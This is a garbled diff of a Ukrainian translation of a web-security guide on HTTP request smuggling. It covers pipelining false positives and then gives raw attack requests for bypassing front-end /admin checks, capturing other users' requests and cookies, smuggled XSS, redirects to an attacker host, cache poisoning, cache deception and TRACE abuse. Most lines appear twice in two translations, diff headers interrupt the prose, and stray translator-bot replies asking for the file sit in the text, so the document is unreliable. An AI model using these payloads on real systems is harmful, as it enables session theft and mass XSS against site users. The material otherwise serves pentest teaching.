Повторне використання з'єднання (keep-alive) і pipelining легко можуть створити ілюзії "smuggling" у тестових інструментах, які надсилають кілька запитів по тому самому сокету. Навчіться відокремлювати нешкідливі клієнтські артефакти від реального серверного desync.
### Чому pipelining створює класичні хибнопозитивні результати
### Чому pipelining створює класичні false positives
HTTP/1.1 повторно використовує одне TCP/TLS з'єднання та конкатенує запити та відповіді в одному потоці. У pipelining клієнт надсилає кілька запитів один за одним і покладається на відповіді в порядку надходження. Загальним хибнопозитивним результатом є повторна відправка неправильно сформованого навантаження CL.0 двічі на одному з'єднанні:
HTTP/1.1 повторно використовує одне TCP/TLS з'єднання і конкатенує запити та відповіді в одному потоці. При pipelining клієнт надсилає кілька запитів підряд і розраховує на відповіді в тому ж порядку. Поширений false-positive — повторна відправка пошкодженого CL.0-стилю payload двічі по одному з'єднанню:
```
POST / HTTP/1.1
Host: hackxor.net
@ -292,7 +294,7 @@ Content_Length: 47
GET /robots.txt HTTP/1.1
X: Y
```
Відповіді можуть виглядати так:
I dont have the file content. Please paste the contents of src/pentesting-web/http-request-smuggling/README.md (or upload it), and I will translate the relevant English text into Ukrainian following your rules.
```
HTTP/1.1 200 OK
Content-Type: text/html
@ -306,7 +308,7 @@ Content-Type: text/plain
User-agent: *
Disallow: /settings
```
Якщо сервер ігнорує неправильно сформований `Content_Length`, немає десинхронізації FE↔BE. При повторному використанні ваш клієнт фактично надіслав цей байтовий потік, який сервер обробив як два незалежні запити:
Якщо server проігнорував невірно сформований `Content_Length`, FE↔BE desync не відбувається. При повторному використанні ваш client фактично відправив цей byte-stream, який server розпарсив як два незалежні requests:
```
POST / HTTP/1.1
Host: hackxor.net
@ -320,78 +322,78 @@ Content_Length: 47
GET /robots.txt HTTP/1.1
X: Y
```
Impact: жодного. Ви просто десинхронізували свого клієнта з серверним фреймуванням.
Вплив: відсутній. Ви просто desynced свій клієнт від фреймінгу сервера.
> [!TIP]
> Модулі Burp, які залежать від повторного використання/потокового оброблення: Turbo Intruder з `requestsPerConnection>1`, Intruder з "HTTP/1 повторне використання з'єднання", Repeater "Відправити групу послідовно (одне з'єднання)" або "Увімкнути повторне використання з'єднання".
> Burp modules that depend on reuse/pipelining: Turbo Intruder with `requestsPerConnection>1`, Intruder with "HTTP/1 connection reuse", Repeater "Send group in sequence (single connection)" or "Enable connection reuse".
### Літмусові тести: потокове оброблення чи реальна десинхронізація?
### Літмус-тести: pipelining або real desync?
1. Вимкніть повторне використання та повторно протестуйте
- У Burp Intruder/Repeater вимкніть повторне використання HTTP/1 та уникайте "Відправити групу послідовно".
1. Disable reuse and re-test
- У Burp Intruder/Repeater вимкніть HTTP/1 reuse та уникайте "Send group in sequence".
- У Turbo Intruder встановіть `requestsPerConnection=1` та `pipeline=False`.
- Якщо поведінка зникне, це, ймовірно, було потокове оброблення на стороні клієнта, якщо ви не маєте справу з цільовими системами, заблокованими за з'єднанням/станом, або десинхронізацією на стороні клієнта.
2. Перевірка вкладених відповідей HTTP/2
- Відправте запит HTTP/2. Якщо тіло відповіді містить повну вкладену відповідь HTTP/1, ви довели наявність помилки парсингу/десинхронізації на стороні бекенду, а не чистий артефакт клієнта.
3. Проба часткових запитів для фронтендів, заблокованих за з'єднанням
- Деякі ФЕ повторно використовують з'єднання з бекендом лише якщо клієнт повторно використовує своє. Використовуйте часткові запити, щоб виявити поведінку ФЕ, яка відображає повторне використання клієнта.
- Дивіться PortSwigger "Атаки десинхронізації, що використовують браузер" для техніки, заблокованої за з'єднанням.
4. Проби стану
- Шукайте відмінності між першим і наступними запитами на одному TCP-з'єднанні (маршрутизація/перевірка першого запиту).
- Burp "HTTP Request Smuggler" включає пробу стану з'єднання, яка автоматизує це.
5. Візуалізуйте з'єднання
- Використовуйте розширення Burp "HTTP Hacker", щоб безпосередньо перевіряти конкатенацію та фреймування повідомлень під час експериментів з повторним використанням та частковими запитами.
- Якщо поведінка зникає, ймовірно, це client-side pipelining, якщо тільки ви не маєте справи з connection-locked/stateful цілями або client-side desync.
2. HTTP/2 nested-response check
- Надішліть HTTP/2 запит. Якщо тіло відповіді містить повну nested HTTP/1 response, ви довели наявність backend parsing/desync бага замість чисто client-side артефакту.
3. Partial-requests probe for connection-locked front-ends
- Деякі FEs повторно використовують upstream BE connection лише якщо клієнт повторно використав своє. Використовуйте partial-requests для виявлення поведінки FE, яка віддзеркалює reuse клієнта.
- Див. PortSwigger "BrowserPowered Desync Attacks" для connection-locked техніки.
4. State probes
- Шукайте відмінності між першим і наступними запитами на тому ж TCP-з'єднанні (first-request routing/validation).
- Burp "HTTP Request Smuggler" включає connectionstate probe, який автоматизує це.
5. Visualize the wire
- Використовуйте розширення Burp "HTTP Hacker" для інспекції concatenation та message framing безпосередньо під час експериментів з reuse та partial requests.
### Десинхронізація запитів, заблокованих за з'єднанням (необхідне повторне використання)
### Connectionlocked request smuggling (reuse-required)
Деякі фронтенди повторно використовують з'єднання з бекендом лише тоді, коли клієнт повторно використовує своє. Реальна контрабанда існує, але залежить від повторного використання на стороні клієнта. Щоб відрізнити та довести вплив:
- Доведіть помилку на стороні сервера
- Використовуйте перевірку вкладених відповідей HTTP/2, або
- Використовуйте часткові запити, щоб показати, що ФЕ повторно використовує з'єднання з бекендом лише тоді, коли це робить клієнт.
- Показуйте реальний вплив, навіть якщо пряма зловживання сокетом між користувачами заблокована:
- Отруєння кешу: отруюйте спільні кеші через десинхронізацію, щоб відповіді впливали на інших користувачів.
- Розкриття внутрішніх заголовків: відображайте заголовки, інжектовані ФЕ (наприклад, заголовки автентифікації/достовірності) та переходьте до обходу автентифікації.
- Обхід контролю ФЕ: контрабандно пропускайте обмежені шляхи/методи повз фронтенд.
- Зловживання заголовком хоста: комбінуйте з особливостями маршрутизації хоста, щоб перейти до внутрішніх віртуальних хостів.
- Робочий процес оператора
- Відтворіть з контрольованим повторним використанням (Turbo Intruder `requestsPerConnection=2`, або група вкладок Burp Repeater → "Відправити групу послідовно (одне з'єднання)").
- Потім з'єднайте з примітивами отруєння кешу/витоку заголовків/обходу контролю та продемонструйте вплив між користувачами або авторизацією.
Деякі front-ends повторно використовують upstream connection лише коли клієнт повторно використовує своє. Реальний smuggling існує, але умовний на client-side reuse. Щоб відрізнити й довести вплив:
- Доведіть server-side bug
- Використайте HTTP/2 nested-response check, або
- Використайте partial-requests, щоб показати, що FE реюзає upstream лише коли клієнт це робить.
- Показати реальний вплив, навіть якщо пряме cross-user socket зловживання заблоковано:
- Cache poisoning: отруєння shared caches через desync так, щоб відповіді впливали на інших користувачів.
- Internal header disclosure: віддзеркалення FE-injected headers (наприклад, auth/trust headers) і pivot до auth bypass.
- Bypass FE controls: smuggle restricted paths/methods повз front-end.
- Host-header abuse: поєднати з host routing quirks, щоб перейти до internal vhosts.
- Operator workflow
- Відтворіть з контрольованим reuse (Turbo Intruder `requestsPerConnection=2`, або Burp Repeater tab group → "Send group in sequence (single connection)").
- Потім зв'яжіть це з cache/header-leak/control-bypass примітивами і продемонструйте вплив на cross-user або авторизацію.
> Дивіться також атаки на стан з'єднання, які тісно пов'язані, але технічно не є контрабандою:
> See also connectionstate attacks, which are closely related but not technically smuggling:
>
>{{#ref}}
>../http-connection-request-smuggling.md
>{{#endref}}
### Обмеження десинхронізації на стороні клієнта
### Clientside desync constraints
Якщо ви націлені на десинхронізацію, що викликана браузером/на стороні клієнта, зловмисний запит повинен бути відправлений браузером з крос-доменом. Трюки з обфускацією заголовків не спрацюють. Зосередьтеся на примітивах, доступних через навігацію/отримання, а потім переходьте до отруєння кешу, розкриття заголовків або обходу контролю фронтенду, де компоненти нижнього рівня відображають або кешують відповіді.
Якщо ви таргетуєте browser-powered/client-side desync, зловмисний запит має бути відправлений браузером cross-origin. Header obfuscation трюки не працюватимуть. Зосередьтеся на примітивах, доступних через navigation/fetch, а потім переходьте до cache poisoning, header disclosure або front-end control bypass, де downstream компоненти віддзеркалюють або кешують відповіді.
Для фону та кінцевих робочих процесів:
Для фонового матеріалу та end-to-end робочих процесів:
{{#ref}}
browser-http-request-smuggling.md
{{#endref}}
### Інструменти для допомоги у прийнятті рішень
### Інструменти, що допомагають у визначенні
- HTTP Hacker (Burp BApp Store): відкриває низькорівневу поведінку HTTP та конкатенацію сокетів.
- "Контрабанда чи потокове оброблення?" Дія користувача Burp Repeater: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
- Turbo Intruder: точний контроль над повторним використанням з'єднання через `requestsPerConnection`.
- Burp HTTP Request Smuggler: включає пробу стану з'єднання для виявлення маршрутизації/перевірки першого запиту.
- HTTP Hacker (Burp BApp Store): показує низькорівневу HTTP-поведінку та socket concatenation.
- "Smuggling or pipelining?" Burp Repeater Custom Action: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
- Turbo Intruder: точний контроль над connection reuse через `requestsPerConnection`.
- Burp HTTP Request Smuggler: включає connectionstate probe для виявлення firstrequest routing/validation.
> [!NOTE]
> Вважайте ефекти, що стосуються лише повторного використання, як незначні, якщо ви не можете довести десинхронізацію на стороні сервера та прикріпити конкретний вплив (артефакт отруєного кешу, витік внутрішнього заголовка, що дозволяє обхід привілеїв, обійдений контроль ФЕ тощо).
> Розглядайте ефекти, що залежать лише від reuse, як неістотні, якщо ви не можете довести server-side desync і додати конкретний вплив (poisoned cache artifact, leaked internal header enabling privilege bypass, bypassed FE control тощо).
## Зловживання HTTP Request Smuggling
### Обхід безпеки фронтенду через HTTP Request Smuggling
### Circumventing Front-End Security via HTTP Request Smuggling
Іноді фронтенд-проксі впроваджують заходи безпеки, ретельно перевіряючи вхідні запити. Однак ці заходи можуть бути обійдені шляхом експлуатації HTTP Request Smuggling, що дозволяє несанкціонований доступ до обмежених кінцевих точок. Наприклад, доступ до `/admin` може бути заборонений зовні, при цьому фронтенд-проксі активно блокує такі спроби. Проте цей проксі може не перевіряти вбудовані запити в межах контрабандного HTTP-запиту, залишаючи лазівку для обходу цих обмежень.
Інколи front-end проксі застосовують заходи безпеки, ретельно перевіряючи вхідні запити. Однак ці заходи можна обійти, експлуатуючи HTTP Request Smuggling, що дозволяє неавторизований доступ до обмежених endpoint-ів. Наприклад, доступ до `/admin` може бути заборонений зовні, і front-end proxy активно блокуватиме такі спроби. Проте цей проксі може не перевіряти вкладені запити всередині smuggled HTTP request, залишаючи лазівку для обходу цих обмежень.
Розгляньте наступні приклади, які ілюструють, як HTTP Request Smuggling може бути використано для обходу контролю безпеки фронтенду, зокрема націлюючись на шлях `/admin`, який зазвичай охороняється фронтенд-проксі:
Розгляньмо наступні приклади, що ілюструють, як HTTP Request Smuggling може бути використаний для обходу front-end контрольних механізмів безпеки, зокрема таргетуючи шлях `/admin`, який зазвичай охороняє front-end proxy:
**CL.TE Приклад**
**CL.TE Example**
```
POST / HTTP/1.1
Host: [redacted].web-security-academy.net
@ -408,9 +410,9 @@ Content-Length: 10
x=
```
У атаці CL.TE заголовок `Content-Length` використовується для початкового запиту, тоді як наступний вбудований запит використовує заголовок `Transfer-Encoding: chunked`. Фронтальний проксі обробляє початковий `POST` запит, але не перевіряє вбудований запит `GET /admin`, що дозволяє несанкціонований доступ до шляху `/admin`.
У атаці CL.TE заголовок `Content-Length` використовується для початкового запиту, тоді як наступний вкладений запит використовує заголовок `Transfer-Encoding: chunked`. Фронтенд-проксі обробляє початковий `POST` запит, але не перевіряє вкладений `GET /admin` запит, що дозволяє несанкціонований доступ до шляху `/admin`.
**TE.CL Example**
**TE.CL Приклад**
```
POST / HTTP/1.1
Host: [redacted].web-security-academy.net
@ -426,13 +428,13 @@ a=x
0
```
Навпаки, в атаці TE.CL початковий `POST` запит використовує `Transfer-Encoding: chunked`, а наступний вбудований запит обробляється на основі заголовка `Content-Length`. Подібно до атаки CL.TE, фронтальний проксі ігнорує контрабандний запит `GET /admin`, ненавмисно надаючи доступ до обмеженого шляху `/admin`.
Навпаки, у атаці TE.CL початковий `POST` запит використовує `Transfer-Encoding: chunked`, а наступний вкладений запит обробляється на основі заголовка `Content-Length`. Подібно до атаки CL.TE, front-end proxy ігнорує вміщений `GET /admin` запит, ненавмисно надаючи доступ до обмеженого шляху `/admin`.
### Виявлення переписування запитів фронтального сервера <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
### Виявлення front-end переписування запитів <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
Додатки часто використовують **фронтальний сервер** для модифікації вхідних запитів перед їх передачею на бекенд-сервер. Типова модифікація включає додавання заголовків, таких як `X-Forwarded-For: <IP of the client>`, для передачі IP-адреси клієнта на бекенд. Розуміння цих модифікацій може бути вирішальним, оскільки це може виявити способи **обійти захист** або **виявити приховану інформацію чи кінцеві точки**.
Додатки часто використовують **front-end server** для зміни вхідних запитів перед передачею їх на back-end server. Типовою модифікацією є додавання заголовків, таких як `X-Forwarded-For: <IP of the client>`, щоб передати IP клієнта на back-end. Розуміння цих змін може бути критичним, оскільки воно може виявити способи **bypass protections** або **uncover concealed information or endpoints**.
Щоб дослідити, як проксі змінює запит, знайдіть параметр POST, який бекенд відображає у відповіді. Потім створіть запит, використовуючи цей параметр останнім, подібно до наступного:
Щоб дослідити, як proxy змінює запит, знайдіть POST-параметр, який back-end відображає в відповіді. Потім складіть запит, використовуючи цей параметр останнім, подібний до наступного:
```
POST / HTTP/1.1
Host: vulnerable-website.com
@ -449,19 +451,19 @@ Content-Length: 100
search=
```
У цій структурі наступні компоненти запиту додаються після `search=`, що є параметром, відображеним у відповіді. Це відображення відкриє заголовки наступного запиту.
У цій структурі наступні компоненти запиту додаються після `search=`, який є параметром, відображеним у відповіді. Це відображення викриє заголовки наступного запиту.
Важливо узгодити заголовок `Content-Length` вкладеного запиту з фактичною довжиною вмісту. Рекомендується починати з невеликого значення і поступово збільшувати його, оскільки занадто низьке значення обрізає відображені дані, а занадто високе значення може призвести до помилки запиту.
Важливо узгодити заголовок `Content-Length` вкладеного запиту з фактичною довжиною вмісту. Рекомендується починати з малого значення і поступово збільшувати, оскільки занадто мале значення обрізатиме відображені дані, а занадто велике може призвести до помилки запиту.
Ця техніка також застосовна в контексті вразливості TE.CL, але запит повинен закінчуватися на `search=\r\n0`. Незалежно від символів нового рядка, значення будуть додаватися до параметра пошуку.
Ця техніка також застосовна в контексті вразливості TE.CL, проте запит має завершуватися `search=\r\n0`. Незалежно від символів нового рядка, значення будуть додаватися до параметра `search`.
Цей метод в основному служить для розуміння модифікацій запиту, зроблених проксі-сервером фронтенду, фактично виконуючи самостійне розслідування.
Цей метод головним чином слугує для розуміння модифікацій запиту, які виконує фронтенд-проксі, фактично проводячи самостійне розслідування.
### Capturing other users' requests <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
### Перехоплення запитів інших користувачів <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
Можливо захопити запити наступного користувача, додавши конкретний запит як значення параметра під час операції POST. Ось як це можна здійснити:
Можна перехопити запити наступного користувача, додавши певний запит як значення параметра під час операції POST. Ось як це можна зробити:
Додавши наступний запит як значення параметра, ви можете зберегти запит наступного клієнта:
Додавши наступний запит як значення параметра, ви зможете зберегти запит наступного клієнта:
```
POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
@ -481,20 +483,20 @@ Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=
```
У цьому сценарії **параметр коментаря** призначений для зберігання вмісту в секції коментарів поста на публічно доступній сторінці. Відповідно, вміст наступного запиту з'явиться як коментар.
У цьому сценарії **параметр comment** призначений для збереження вмісту секції коментарів публікації на публічно доступній сторінці. Відповідно, вміст наступного запиту відобразиться як коментар.
Однак у цього методу є обмеження. Як правило, він захоплює дані лише до роздільника параметра, використаного в контрабандному запиті. Для URL-кодованих форм, цей роздільник - це символ `&`. Це означає, що захоплений вміст з запиту жертви зупиниться на першому `&`, який може бути частиною рядка запиту.
Однак ця техніка має обмеження. Зазвичай вона захоплює дані лише до роздільника параметра, який використовується в smuggled request. Для URL-encoded form submissions цей роздільник — символ `&`. Це означає, що захоплений вміст з запиту жертви зупиниться на першому `&`, який може навіть бути частиною рядка запиту.
Крім того, варто зазначити, що цей підхід також є життєздатним з вразливістю TE.CL. У таких випадках запит має закінчуватися на `search=\r\n0`. Незалежно від символів нового рядка, значення будуть додані до параметра пошуку.
Додатково варто зазначити, що підхід також працює при наявності TE.CL vulnerability. У таких випадках запит має завершуватися `search=\r\n0`. Незалежно від символів нового рядка, значення будуть додані до параметра search.
### Використання HTTP request smuggling для експлуатації відображеного XSS
### Використання HTTP request smuggling для експлуатації Reflected XSS
HTTP Request Smuggling можна використовувати для експлуатації веб-сторінок, вразливих до **Reflected XSS**, що пропонує значні переваги:
HTTP Request Smuggling can be leveraged to exploit web pages vulnerable to **Reflected XSS**, надаючи значні переваги:
- Взаємодія з цільовими користувачами **необхідна**.
- Дозволяє експлуатувати XSS у частинах запиту, які **зазвичай недоступні**, таких як заголовки HTTP запиту.
- Взаємодія з цільовими користувачами **не потрібна**.
- Дозволяє експлуатувати XSS в частинах запиту, які **зазвичай недоступні**, наприклад HTTP request headers.
У сценаріях, коли веб-сайт вразливий до Reflected XSS через заголовок User-Agent, наступний payload демонструє, як експлуатувати цю вразливість:
У сценаріях, де вебсайт вразливий до Reflected XSS через заголовок User-Agent, наведений нижче payload демонструє, як експлуатувати цю вразливість:
```
POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
@ -515,36 +517,36 @@ Content-Type: application/x-www-form-urlencoded
A=
```
Цей payload структурований для експлуатації вразливості шляхом:
This payload is structured to exploit the vulnerability by:
1. Ініціювання `POST` запиту, що виглядає типовим, з заголовком `Transfer-Encoding: chunked`, щоб вказати на початок контрабанди.
2. Наступним є `0`, що позначає кінець тіла повідомлення з частинами.
3. Потім вводиться контрабандний `GET` запит, де заголовок `User-Agent` інжектується зі скриптом, `<script>alert(1)</script>`, що викликає XSS, коли сервер обробляє цей наступний запит.
1. Ініціювання `POST` request, на перший погляд типовий, з заголовком `Transfer-Encoding: chunked`, щоб позначити початок smuggling.
2. Далі слідує `0`, що позначає кінець chunked message body.
3. Потім вводиться smuggled `GET` request, в якому заголовок `User-Agent` інжектується скриптом `<script>alert(1)</script>`, що викликає XSS при обробці сервером цього запиту.
Маніпулюючи `User-Agent` через контрабанду, payload обходить звичайні обмеження запитів, таким чином експлуатуючи вразливість Reflected XSS нестандартним, але ефективним способом.
Маніпулюючи `User-Agent` через smuggling, payload обходить звичайні обмеження request, таким чином експлуатуючи Reflected XSS в нестандартний, але ефективний спосіб.
#### HTTP/0.9
> [!CAUTION]
> У разі, якщо вміст користувача відображається у відповіді з **`Content-type`** таким як **`text/plain`**, що запобігає виконанню XSS. Якщо сервер підтримує **HTTP/0.9, це може дозволити обійти це**!
> Якщо вміст користувача відображається у відповіді з **`Content-type`**, наприклад **`text/plain`**, це зазвичай перешкоджає виконанню XSS. Якщо сервер підтримує **HTTP/0.9**, можливо обійти це!
Версія HTTP/0.9 була попередньою до 1.0 і використовує лише **GET** дієслова та **не** відповідає з **заголовками**, лише тілом.
Версія HTTP/0.9 передувала 1.0 і використовує тільки **GET** verbs та **не** повертає **headers**, лише тіло.
У [**цьому описі**](https://mizu.re/post/twisty-python) це було зловжито з контрабандою запиту та **вразливим кінцевим пунктом, який відповість з вхідними даними користувача** для контрабанди запиту з HTTP/0.9. Параметр, який буде відображено у відповіді, містив **підроблену HTTP/1.1 відповідь (з заголовками та тілом)**, тому відповідь міститиме дійсний виконуваний JS код з `Content-Type` `text/html`.
В [**this writeup**](https://mizu.re/post/twisty-python) це було зловжито через request smuggling та **vulnerable endpoint that will reply with the input of the user**, щоб smuggle запит з HTTP/0.9. Параметр, що відображався у відповіді, містив **fake HTTP/1.1 response (with headers and body)**, тому відповідь містила валідний виконуваний JS-код з `Content-Type` `text/html`.
### Експлуатація перенаправлень на сайті з допомогою HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
### Exploiting On-site Redirects with HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
Застосунки часто перенаправляють з одного URL на інший, використовуючи ім'я хоста з заголовка `Host` у URL перенаправлення. Це поширено серед веб-серверів, таких як Apache та IIS. Наприклад, запит на папку без слешу в кінці призводить до перенаправлення, щоб включити слеш:
Застосунки часто роблять перенаправлення з одного URL на інший, використовуючи hostname з заголовка `Host` у URL перенаправлення. Це поширено для веб-серверів типу Apache та IIS. Наприклад, запит папки без кінцевого слеша призводить до редиректу з додаванням слеша:
```
GET /home HTTP/1.1
Host: normal-website.com
```
Результати в:
Призводить до:
```
HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/
```
Хоча на перший погляд це може здаватися безпечним, цю поведінку можна маніпулювати за допомогою HTTP request smuggling, щоб перенаправити користувачів на зовнішній сайт. Наприклад:
Хоча на перший погляд нешкідлива, цю поведінку можна використати за допомогою HTTP request smuggling для перенаправлення користувачів на зовнішній сайт. Наприклад:
```
POST / HTTP/1.1
Host: vulnerable-website.com
@ -558,29 +560,29 @@ GET /home HTTP/1.1
Host: attacker-website.com
Foo: X
```
Цей підроблений запит може призвести до того, що наступний оброблений запит користувача буде перенаправлено на веб-сайт, контрольований зловмисником:
Цей smuggled запит може призвести до перенаправлення наступного обробленого запиту користувача на attacker-controlled вебсайт:
```
GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com
```
Результати в:
Призводить до:
```
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/
```
У цьому сценарії запит користувача на файл JavaScript перехоплюється. Зловмисник може потенційно скомпрометувати користувача, надаючи шкідливий JavaScript у відповідь.
У цьому сценарії запит користувача на JavaScript-файл перехоплюється. Атакувальник може скомпрометувати користувача, повернувши шкідливий JavaScript у відповіді.
### Використання отруєння веб-кешу через HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
### Експлуатація Web Cache Poisoning через HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
Отруєння веб-кешу може бути виконано, якщо будь-який компонент **інфраструктури фронтенду кешує контент**, зазвичай для покращення продуктивності. Маніпулюючи відповіддю сервера, можна **отруїти кеш**.
Web cache poisoning може бути реалізовано, якщо будь-який компонент front-end інфраструктури кешує контент, зазвичай для покращення продуктивності. Маніпулюючи відповіддю сервера, можна **poison the cache**.
Раніше ми спостерігали, як відповіді сервера можуть бути змінені, щоб повернути помилку 404 (див. [Основні приклади](#basic-examples)). Аналогічно, можливо обманути сервер, щоб він надав контент `/index.html` у відповідь на запит `/static/include.js`. В результаті, контент `/static/include.js` замінюється в кеші на контент `/index.html`, що робить `/static/include.js` недоступним для користувачів, потенційно призводячи до відмови в обслуговуванні (DoS).
Раніше ми бачили, як відповіді сервера можна змінити, щоб повернути помилку 404 (див. [Basic Examples](#basic-examples)). Аналогічно, можливо обдурити сервер, щоб він віддав вміст `/index.html` у відповіді на запит до `/static/include.js`. Внаслідок цього вміст `/static/include.js` замінюється в кеші на вміст `/index.html`, роблячи `/static/include.js` недоступним для користувачів і потенційно призводячи до Denial of Service (DoS).
Ця техніка стає особливо потужною, якщо виявлено **вразливість Open Redirect** або якщо є **перенаправлення на сайті до відкритого перенаправлення**. Такі вразливості можуть бути використані для заміни кешованого контенту `/static/include.js` на скрипт під контролем зловмисника, що фактично дозволяє здійснити масовану атаку Cross-Site Scripting (XSS) проти всіх клієнтів, які запитують оновлений `/static/include.js`.
Ця техніка стає особливо потужною, якщо виявлена **Open Redirect vulnerability** або якщо існує **on-site redirect to an open redirect**. Такі вразливості можна використати, щоб замінити кешований вміст `/static/include.js` на скрипт під контролем атакувальника, фактично реалізувавши масштабну Cross-Site Scripting (XSS) атаку проти всіх клієнтів, які запитують оновлений `/static/include.js`.
Нижче наведено ілюстрацію використання **отруєння кешу в поєднанні з перенаправленням на сайті до відкритого перенаправлення**. Мета полягає в тому, щоб змінити кешований контент `/static/include.js`, щоб надати JavaScript-код, контрольований зловмисником:
Нижче наведено ілюстрацію експлуатації **cache poisoning combined with an on-site redirect to open redirect**. Мета — змінити кешований вміст `/static/include.js`, щоб він роздавав JavaScript-код під контролем атакувальника:
```
POST / HTTP/1.1
Host: vulnerable.net
@ -598,20 +600,20 @@ Content-Length: 10
x=1
```
Зверніть увагу на вбудований запит, що націлений на `/post/next?postId=3`. Цей запит буде перенаправлено на `/post?postId=4`, використовуючи **значення заголовка Host** для визначення домену. Змінивши **заголовок Host**, зловмисник може перенаправити запит на свій домен (**внутрішнє перенаправлення на відкритий редирект**).
Зверніть увагу на вкладений запит, спрямований до `/post/next?postId=3`. Цей запит буде перенаправлено на `/post?postId=4`, використовуючи **Host header value** для визначення домену. Змінивши **Host header**, зловмисник може перенаправити запит на свій домен (**on-site redirect to open redirect**).
Після успішного **отруєння сокета** слід ініціювати **GET запит** на `/static/include.js`. Цей запит буде забруднений попереднім запитом **внутрішнього перенаправлення на відкритий редирект** і отримає вміст скрипта, контрольованого зловмисником.
Після успішного **socket poisoning** слід ініціювати **GET request** до `/static/include.js`. Цей запит буде заражений попереднім **on-site redirect to open redirect** запитом і отримає вміст скрипта, контрольованого зловмисником.
В подальшому будь-який запит на `/static/include.js` буде обслуговувати кешований вміст скрипта зловмисника, ефективно запускаючи широкий XSS-атаку.
Надалі будь-який запит до `/static/include.js` буде повертати кешований вміст скрипта зловмисника, що фактично запускатиме масштабну XSS-атаку.
### Використання HTTP request smuggling для виконання обману веб-кешу <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
### Використання HTTP request smuggling для web cache deception <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
> **У чому різниця між отруєнням веб-кешу та обманом веб-кешу?**
> **У чому різниця між web cache poisoning та web cache deception?**
>
> - У **отруєнні веб-кешу** зловмисник змушує додаток зберігати деякий шкідливий вміст у кеші, і цей вміст обслуговується з кешу іншим користувачам додатка.
> - У **обмані веб-кешу** зловмисник змушує додаток зберігати деякий чутливий вміст, що належить іншому користувачу, у кеші, а потім зловмисник отримує цей вміст з кешу.
> - У випадку **web cache poisoning** зловмисник змушує застосунок зберегти деякий шкідливий вміст у кеші, і цей вміст потім подається з кешу іншим користувачам застосунку.
> - У випадку **web cache deception** зловмисник змушує застосунок зберегти у кеші чутливий вміст, що належить іншому користувачеві, після чого зловмисник отримує цей вміст з кешу.
Зловмисник створює підроблений запит, який отримує чутливий вміст, специфічний для користувача. Розгляньте наступний приклад:
Зловмисник формує smuggled request, який отримує чутливий контент, специфічний для користувача. Розгляньте наступний приклад:
```markdown
`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
@ -622,17 +624,17 @@ x=1
`GET /private/messages HTTP/1.1`\
`Foo: X`
```
Якщо цей підроблений запит отруює кеш-енцію, призначену для статичного контенту (наприклад, `/someimage.png`), чутливі дані жертви з `/private/messages` можуть бути кешовані під кеш-енцією статичного контенту. Внаслідок цього, зловмисник потенційно може отримати ці кешовані чутливі дані.
Якщо цей smuggled request отруює запис кешу, призначений для статичного контенту (наприклад, `/someimage.png`), чутливі дані жертви з `/private/messages` можуть бути закешовані під записом кешу статичного контенту. Відповідно, атакуючий потенційно зможе отримати ці закешовані чутливі дані.
### Зловживання TRACE через HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
[**У цьому пості**](https://portswigger.net/research/trace-desync-attack) пропонується, що якщо сервер має метод TRACE увімкненим, це може бути можливим зловживати ним за допомогою HTTP Request Smuggling. Це пов'язано з тим, що цей метод відображатиме будь-який заголовок, надісланий на сервер, як частину тіла відповіді. Наприклад:
[**In this post**](https://portswigger.net/research/trace-desync-attack) запропоновано, що якщо сервер має метод TRACE увімкнений, можливо зловживати ним за допомогою HTTP Request Smuggling. Це тому, що цей метод відображає будь-який header, надісланий серверу, як частину тіла відповіді. Наприклад:
```
TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>
```
Please provide the text you would like me to translate.
Please paste the README.md content you want translated. I will translate the English text to Ukrainian, preserving markdown, code, links, tags and paths exactly as you requested.
```
HTTP/1.1 200 OK
Content-Type: message/http
@ -643,15 +645,15 @@ Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx
```
Прикладом зловживання цією поведінкою буде **проведення спочатку запиту HEAD**. На цей запит буде надано відповідь лише з **заголовками** запиту GET (**`Content-Type`** серед них). І відразу після HEAD буде проведено **запит TRACE**, який буде **відображати надіслані дані**.\
Оскільки відповідь на HEAD міститиме заголовок `Content-Length`, **відповідь на запит TRACE буде розглядатися як тіло відповіді HEAD, отже, відображаючи довільні дані** у відповіді.\
Ця відповідь буде надіслана до наступного запиту через з'єднання, тому це може бути **використано, наприклад, у кешованому JS файлі для впровадження довільного JS коду**.
Приклад того, як зловживати цією поведінкою — **smuggle first a HEAD request**. На цей запит буде повернуто лише **заголовки** GET-запиту (серед них — **`Content-Type`**). І негайно після HEAD слід smuggle **TRACE request**, який буде **відображати надіслані дані**.\
